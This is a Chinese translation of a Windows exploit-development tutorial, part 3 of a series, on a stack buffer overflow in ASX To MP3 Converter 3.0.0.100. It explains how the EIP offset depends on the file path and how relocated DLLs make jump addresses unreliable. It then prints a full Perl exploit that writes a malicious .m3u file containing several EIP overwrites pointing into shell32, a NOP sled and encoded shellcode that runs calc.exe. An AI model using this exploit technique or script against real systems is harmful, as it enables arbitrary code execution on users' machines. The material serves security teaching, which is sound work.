Windows漏洞利用開發 – 第3部分:偏移更改和重定位模組
概觀
在第2部分中,我們為ASX To MP3 Converter構建了一個基本的棧溢位攻擊。正如我在那篇文章中指出的那樣,利用本身並不完美。成功的EIP覆蓋受m3u檔案的檔案路徑的影響。另外,雖然在選擇跳轉/呼叫地址時首選應用程式模組,但我們使用的應用程式DLL是重新分配的,這意味著我們的CALL EBX指令的地址可能會更改,因此不可靠。在這一部分中,我們將仔細研究這些問題以及一些可以改進我們的原始漏洞使其更可靠的方法。
更改EIP偏移量
我在第2部分強調的一件事情是,如果m3u檔案是從C:目錄的根目錄執行的,ASX To MP3 Converter的漏洞利用工作才起作用,因為EIP覆蓋的偏移取決於檔案路徑。如果要驗證,請嘗試將m3u檔案從C:移動到桌面,然後重試偵錯程式中的漏洞。請參閱下面的螢幕截圖。

正如您所看到的,EIP現在不會被我們的CALL EBX指令覆蓋,而是被我們payload的前面“垃圾”部分覆蓋,這部分由A( x41)組成。由於較長的檔案路徑被合併到有效載荷中,因此它將所有內容都推向右側,並將EIP更改為'AAAA'。
如果您記得,我們完整的exploit緩衝區看起來像這樣:

EIP的偏移量(當m3u檔案位於C:的根目錄時)為26,121位元組。正如我們通過將m3u檔案移動到桌面所證明的那樣,較長的檔案路徑會導致EIP覆蓋為A。如果檔案路徑是對偏移量的唯一影響,我們應該能夠準確預測新偏移量。讓我們為m3u檔案選擇一個不同的儲存位置來證明這一理論。位於我的桌面上的m3u檔案的完整路徑如下(其中Documents and Settings Administrator Desktop 是較c:多出來的路徑長度):
C:Documents and SettingsAdministratorDesktopasx2mp3.m3u
這條新路徑長45個字元,這意味著我們應該調整我們的EIP偏移-45,新的偏移量26076。讓我們更新我們的漏洞利用程式碼,看看它是否有效(只改變你在第2部分中建立的利用漏洞的偏移量)。
基於應用程式的模組
在重新啟動的Windows計算機上執行具有更新偏移量的漏洞利用程式會產生以下結果:

EIP顯然已被我選擇的CALL EBX地址(來自MSA2Mcodec00.dll的0x01C27228)覆蓋,但該程式似乎並未將其識別為有效地址。這裡出現的問題,因為在我的漏洞利用程式碼中,我使用了來自重定位應用程式模組(DLL)的地址。
在沒有詳細介紹重新繫結的情況下,要明白每個模組都有一個指定的基地址,它應該載入在這個地址上(而且編譯器通常有一個預設的地址分配給所有的模組)。
如果在載入時發生地址衝突,則作業系統必須重新繫結其中一個模組(從效能角度來看代價非常高)。或者,應用程式開發人員可能會提前重新繫結模組以避免此類衝突。
在我們的例子中,如果MSA2Mcodec00.dll重新繫結,地址空間會發生變化,我們的CALL EBX地址發生變化。不幸的是,這會影響成功利用的可靠性,這個問題比我們的檔案路徑問題更嚴重。
在這裡我們有兩個選擇:
1)看看我們是否能找到另一個沒有實現重定位的應用程式模組(首選);
2)使用系統模組。
請記住,從第2部分中可以看出,使用系統DLL(相對於應用程式DLL)的缺點是它減少了漏洞在不同版本的Windows上執行的可能性。這就是說,在每臺Windows XP機器上執行的漏洞利用程式要比只能在一臺機器上執行的漏洞利用程式更好!
我們可以使用mona外掛更仔細地檢查載入的模組,並通過執行以下命令來檢視哪些模組實施了重定位。
!mona find -type instr -s "call ebx"
以下是生成的find.txt檔案開頭的截圖。它顯示了找到“call ebx”指令的所有模組,以及與這些模組中的每一個模組相關的屬性,包括它們是否實施重定位(請注意“重定位”列)。

請注意,該列中有兩個值為“False”(以橙色突出顯示)。不幸的是,這兩個模組中的所有“call ebx”地址都包含空位元組。看起來我們別無選擇,只能使用系統模組。我會選擇其中一個較大的dll,如shell32,user32,kernel32或ntdll,因為它們可能不太可能在系統服務包之間進行更改。在find.txt檔案中向下滾動以檢視找到的實際“call ebx”地址。我將選擇列出的第一個shell32地址(0x7c9f38f6)。

現在,我將使用SHELL32中新的CALL EBX地址(注意已更新的EIP偏移量)更新漏洞利用指令碼,建立m3u檔案,並從桌面執行它。

成功!!

更新漏洞利用以支援多個偏移
我們通過選擇一個作業系統模組來克服我們的地址重定位問題,並驗證了可以根據m3u exploit檔案的路徑大小來預測偏移量。
下一步是將多個偏移量合併到我們的漏洞利用程式碼中,以增加從不同位置成功執行的可能性。我們可以通過簡單地包含重複偏移模式的緩衝區的垃圾部分(而不是使用A's,使用EIP + EIP + EIP等)來實現此目的。雖然這增加了成功利用的可能性,但由於常見的儲存位置(桌面,我的文件等)可能會或可能不符合該模式,所以這是相當隨意的。相反,我們可以生成可能的儲存位置列表,並將偏移量放在我們的緩衝區中。我們可以手動做到這一點。

最後我們將留下一個如下所示的緩衝區:
JUNK(A's)+ EIP + JUNK(A's)+ EIP + JUNK(As)+ EIP .. + NOPS + SHELLCODE + FILL
這不是非常高效的編碼,並且使得新增和刪除路徑變得繁瑣,因此我們利用指令碼的強大功能,使其更容易管理。
首先,我們將建立一組可能的路徑。我建立了一個有幾條可能的路徑,儘管還有更多:

為了便於說明,我還包括了手動計算的偏移量(作為註釋),通過編寫偏移量建立指令碼,我們不需要為每個檔案路徑實際執行此操作。接下來,我們建立一個迴圈,並使用陣列的內容動態構建緩衝區的垃圾+ eip部分。

正如你上面看到的,我們只是迴圈訪問陣列,並使用每個檔案路徑的長度(減去共享的'C:')來策略地放置偏移量。
我們的最終利用看起來像這樣:
#!/usr/bin/perl ###################################################################### # Exploit Title: ASX to MP3 Converter 3.0.0.100 (.m3u) - Local BOF # Date: 11-16-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: ASX to MP3 Converter 3.0.0.100 # Software: http://www.mini-stream.net/asx-to-mp3-converter/download/ # Tested On: Windows XP SP3 # Credits: Older versions found to be vulnerable to similar bof # -- http://www.exploit-db.com/exploits/8629/ ###################################################################### my $buffsize = 50000; # sets buffer size for consistent sized payload # the application incorporates the path of the m3u file in the buffer # this can hinder successful execution by changing the offset to eip # to make this more reliable, we'll create a buffer w/ several offsets # to potential file locations (desktop, my music, my playlists, etc) # if the m3u file is placed in any of these locations it should work # if the m3u file is saved in root dir (c:, z:, etc) eip offset = 26121 # we can use that value to calculate other relative offsets based on file path length my @offsets = ( 'C:Documents and SettingsAdministratorMy DocumentsMy MusicMy Playlists\', # offset at 26049 'C:Documents and SettingsAll UsersDocumentsMy MusicMy Playlists\', # offset at 26056 'C:Documents and SettingsAdministratorMy DocumentsMy Music\', # offset at 26062 'C:Documents and SettingsAll UsersDocumentsMy Music\', # offset at 26069 'C:Documents and SettingsAdministratorDesktop\', # offset at 26076 'C:Documents and SettingsAll UsersDesktop\', # offset at 26080 'C:\'); # offset at 26121 my $eip = pack('V', 0x7c9f38f6); # call ebp C:WindowsSystem32SHELL32.dll $i = 0; foreach (@offsets) { $curr_offset = 26121 - (length($_)) + 3; # +3 for shared "c:"$prev_offset = 26121 - (length($offsets[$i-1])) + 3; if ($i eq 0){ # if it's the first offset build the junk buffer from 0$junk = "x41" x $curr_offset; # append the eip overwrite to the first offset$offset = $junk.$eip } else { # build a junk buffer relative to the last offset$junk = "x41" x (($curr_offset - $prev_offset) - 4); # append new junk buffer + eip to the previously constructed offset$offset = $offset.$junk.$eip; } $i = $i + 1; # increment index counter } my $nops = "x90" x 21400; # offset to shellcode at call ebp # Calc.exe payload [size 227] # msfpayload windows/exec CMD=calc.exe R | # msfencode -e x86/shikata_ga_nai -c 1 -b 'x00x0ax0dxff' my $shell = "xdbxcfxb8x27x17x16x1fxd9x74x24xf4x5fx2bxc9" . "xb1x33x31x47x17x83xefxfcx03x60x04xf4xeax92" . "xc2x71x14x6ax13xe2x9cx8fx22x30xfaxc4x17x84" . "x88x88x9bx6fxdcx38x2fx1dxc9x4fx98xa8x2fx7e" . "x19x1dxf0x2cxd9x3fx8cx2ex0exe0xadxe1x43xe1" . "xeax1fxabxb3xa3x54x1ex24xc7x28xa3x45x07x27" . "x9bx3dx22xf7x68xf4x2dx27xc0x83x66xdfx6axcb" . "x56xdexbfx0fxaaxa9xb4xe4x58x28x1dx35xa0x1b" . "x61x9ax9fx94x6cxe2xd8x12x8fx91x12x61x32xa2" . "xe0x18xe8x27xf5xbax7bx9fxddx3bxafx46x95x37" . "x04x0cxf1x5bx9bxc1x89x67x10xe4x5dxeex62xc3" . "x79xabx31x6axdbx11x97x93x3bxfdx48x36x37xef" . "x9dx40x1ax65x63xc0x20xc0x63xdax2ax62x0cxeb" . "xa1xedx4bxf4x63x4axa3xbex2exfax2cx67xbbxbf" . "x30x98x11x83x4cx1bx90x7bxabx03xd1x7exf7x83" . "x09xf2x68x66x2exa1x89xa3x4dx24x1ax2fxbcxc3" . "x9axcaxc0"; my $sploit = $offset.$nops.$shell; my $fill = "x43" x ($buffsize - (length($sploit))); # fill remainder my $buffer = $sploit.$fill; # build final buffer # write the exploit buffer to file my $file = "asx2mp3.m3u"; open(FILE, ">$file"); print FILE $buffer; close(FILE); print "Exploit file created [" . $file . "]n"; print "Buffer size: " . length($buffer) . "n";
如果您想要顯示緩衝區的外觀,請在文字編輯器中開啟生成的m3u檔案,您應該看到下面的偏移量:

即使這個更新的漏洞利用也不完美,因為我們使用了一個用於EIP覆蓋的OS DLL以及有限數量的漏洞利用觸發位置,但它肯定比我們第2部分的原始版本有所改進。
除了改變受檔案路徑影響的偏移量之外,遇到具有由啟動方式決定的多個偏移量的漏洞並不罕見。以最近釋出的針對RealPlayer 16.0.3.51/16.0.2.32的漏洞為例它包含兩個偏移量/ EIP覆蓋 -
一個用於直接啟動漏洞利用率.rmp檔案,一個用於在應用程式內開啟漏洞。
如果漏洞程式碼本身看起來有些不同,那是因為它是一個基於SEH的緩衝區溢位,我們將在更多的帖子中討論這個話題。現在,如果您選擇在測試機器上嘗試利用漏洞,則可能需要根據您的作業系統進行一些調整。如果您執行的是Windows XP SP3,則可能需要將$ junk2偏移量調整為10515,並根據您擁有的RealPlayer版本,您可能需要切換SEH值。
雖然這些只是一些本地執行的具有更改/多種偏移的攻擊的示例,但它們應該提供一些有關此問題在建立漏洞時如何表現出來的資訊,以及如何解決該問題。
在過去的兩篇文章中,我們構建了一個非常基礎的基於棧的緩衝區溢位攻擊,並克服了由於漏洞利用檔案路徑的影響而改變EIP偏移量,並改變了由重定位應用程式DLL導致的模組定址所帶來的一些小問題。在下一篇文章中,我們將看看如何在不能使用簡單的CALL / JMP指令到達shellcode的情況下使用跳轉程式碼。
文章來源:看雪社群